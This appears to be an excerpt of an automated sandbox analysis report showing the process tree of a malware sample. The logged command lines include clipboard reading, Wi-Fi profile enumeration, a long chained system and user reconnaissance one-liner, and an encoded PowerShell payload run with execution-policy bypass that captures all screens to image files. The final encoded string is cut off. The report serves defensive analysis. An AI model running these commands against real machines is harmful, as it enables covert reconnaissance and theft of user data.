Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	18:38:38
Start date:	12/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	18:38:38
Start date:	12/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c chcp
Imagebase:	0x7ff799bb0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	18:38:38
Start date:	12/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c chcp
Imagebase:	0x7ff799bb0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 1900, Parent PID: 1352

General

Target ID:	41
Start time:	18:38:38
Start date:	12/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe Get-Clipboard
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	18:38:38
Start date:	12/11/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FO LIST
Imagebase:	0x7ff6187b0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	18:38:39
Start date:	12/11/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp
Imagebase:	0x7ff7bca10000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	18:38:39
Start date:	12/11/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp
Imagebase:	0x7ff7bca10000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	18:38:39
Start date:	12/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
Imagebase:	0x7ff799bb0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	18:38:39
Start date:	12/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"
Imagebase:	0x7ff799bb0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	18:38:39
Start date:	12/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	18:38:39
Start date:	12/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	18:38:39
Start date:	12/11/2024
Path:	C:\Windows\System32\systeminfo.exe
Wow64 process (32bit):	false
Commandline:	systeminfo
Imagebase:	0x7ff691e70000
File size:	110'080 bytes
MD5 hash:	EE309A9C61511E907D87B10EF226FDCD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	18:38:39
Start date:	12/11/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh wlan show profiles
Imagebase:	0x7ff69f960000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	18:38:39
Start date:	12/11/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff693ab0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	18:38:40
Start date:	12/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	53
Start time:	18:38:41
Start date:	12/11/2024
Path:	C:\Windows\System32\HOSTNAME.EXE
Wow64 process (32bit):	false
Commandline:	hostname
Imagebase:	0x7ff715560000
File size:	14'848 bytes
MD5 hash:	33AFAA43B84BDEAB12E02F9DBD2B2EE0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	18:38:41
Start date:	12/11/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic logicaldisk get caption,description,providername
Imagebase:	0x7ff6e2c90000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	18:38:42
Start date:	12/11/2024
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net user
Imagebase:	0x7ff732790000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	18:38:42
Start date:	12/11/2024
Path:	C:\Windows\System32\net1.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net1 user
Imagebase:	0x7ff671c90000
File size:	183'808 bytes
MD5 hash:	55693DF2BB3CBE2899DFDDF18B4EB8C9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	18:38:42
Start date:	12/11/2024
Path:	C:\Windows\System32\query.exe
Wow64 process (32bit):	false
Commandline:	query user
Imagebase:	0x7ff757550000
File size:	17'408 bytes
MD5 hash:	29043BC0B0F99EAFF36CAD35CBEE8D45
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	18:38:42
Start date:	12/11/2024
Path:	C:\Windows\System32\quser.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\quser.exe"
Imagebase:	0x7ff6d1c10000
File size:	25'600 bytes
MD5 hash:	480868AEBA9C04CA04D641D5ED29937B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	18:38:43
Start date:	12/11/2024
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net localgroup
Imagebase:	0x7ff732790000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	18:38:43
Start date:	12/11/2024
Path:	C:\Windows\System32\net1.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net1 localgroup
Imagebase:	0x7ff671c90000
File size:	183'808 bytes
MD5 hash:	55693DF2BB3CBE2899DFDDF18B4EB8C9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	18:38:43
Start date:	12/11/2024
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net localgroup administrators
Imagebase:	0x7ff732790000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	18:38:43
Start date:	12/11/2024
Path:	C:\Windows\System32\net1.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net1 localgroup administrators
Imagebase:	0x7ff671c90000
File size:	183'808 bytes
MD5 hash:	55693DF2BB3CBE2899DFDDF18B4EB8C9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	64
Start time:	18:38:43
Start date:	12/11/2024
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net user guest
Imagebase:	0x7ff732790000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	65
Start time:	18:38:43
Start date:	12/11/2024
Path:	C:\Windows\System32\net1.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net1 user guest
Imagebase:	0x7ff671c90000
File size:	183'808 bytes
MD5 hash:	55693DF2BB3CBE2899DFDDF18B4EB8C9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	66
Start time:	18:38:44
Start date:	12/11/2024
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net user administrator
Imagebase:	0x7ff732790000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	67
Start time:	18:38:44
Start date:	12/11/2024
Path:	C:\Windows\System32\net1.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net1 user administrator
Imagebase:	0x7ff671c90000
File size:	183'808 bytes
MD5 hash:	55693DF2BB3CBE2899DFDDF18B4EB8C9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	68
Start time:	18:38:44
Start date:	12/11/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic startup get caption,command
Imagebase:	0x7ff6e2c90000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	69
Start time:	18:38:45
Start date:	12/11/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /svc
Imagebase:	0x7ff6187b0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	70
Start time:	18:38:45
Start date:	12/11/2024
Path:	C:\Windows\System32\ipconfig.exe
Wow64 process (32bit):	false
Commandline:	ipconfig /all
Imagebase:	0x7ff63f900000
File size:	35'840 bytes
MD5 hash:	62F170FB07FDBB79CEB7147101406EB8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	71
Start time:	18:38:45
Start date:	12/11/2024
Path:	C:\Windows\System32\ROUTE.EXE
Wow64 process (32bit):	false
Commandline:	route print
Imagebase:	0x7ff656ef0000
File size:	24'576 bytes
MD5 hash:	3C97E63423E527BA8381E81CBA00B8CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	72
Start time:	18:38:45
Start date:	12/11/2024
Path:	C:\Windows\System32\ARP.EXE
Wow64 process (32bit):	false
Commandline:	arp -a
Imagebase:	0x7ff7598b0000
File size:	26'624 bytes
MD5 hash:	2AF1B2C042B83437A4BE82B19749FA98
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	73
Start time:	18:38:45
Start date:	12/11/2024
Path:	C:\Windows\System32\NETSTAT.EXE
Wow64 process (32bit):	false
Commandline:	netstat -ano
Imagebase:	0x7ff7dd870000
File size:	39'936 bytes
MD5 hash:	7FDDD6681EA81CE26E64452336F479E6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	74
Start time:	18:38:45
Start date:	12/11/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc query type= service state= all
Imagebase:	0x7ff75f950000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	75
Start time:	18:38:46
Start date:	12/11/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh firewall show state
Imagebase:	0x7ff69f960000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	76
Start time:	18:38:46
Start date:	12/11/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh firewall show config
Imagebase:	0x7ff69f960000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	77
Start time:	18:38:47
Start date:	12/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Imagebase:	0x7ff799bb0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 8048, Parent PID: 8040

General

Target ID:	78
Start time:	18:38:47
Start date:	12/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	79
Start time:	18:38:47
Start date:	12/11/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic csproduct get uuid
Imagebase:	0x7ff6e2c90000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	80
Start time:	18:38:48
Start date:	12/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
Imagebase:	0x7ff799bb0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	81
Start time:	18:38:48
Start date:	12/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	82
Start time:	18:38:48
Start date:	12/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACg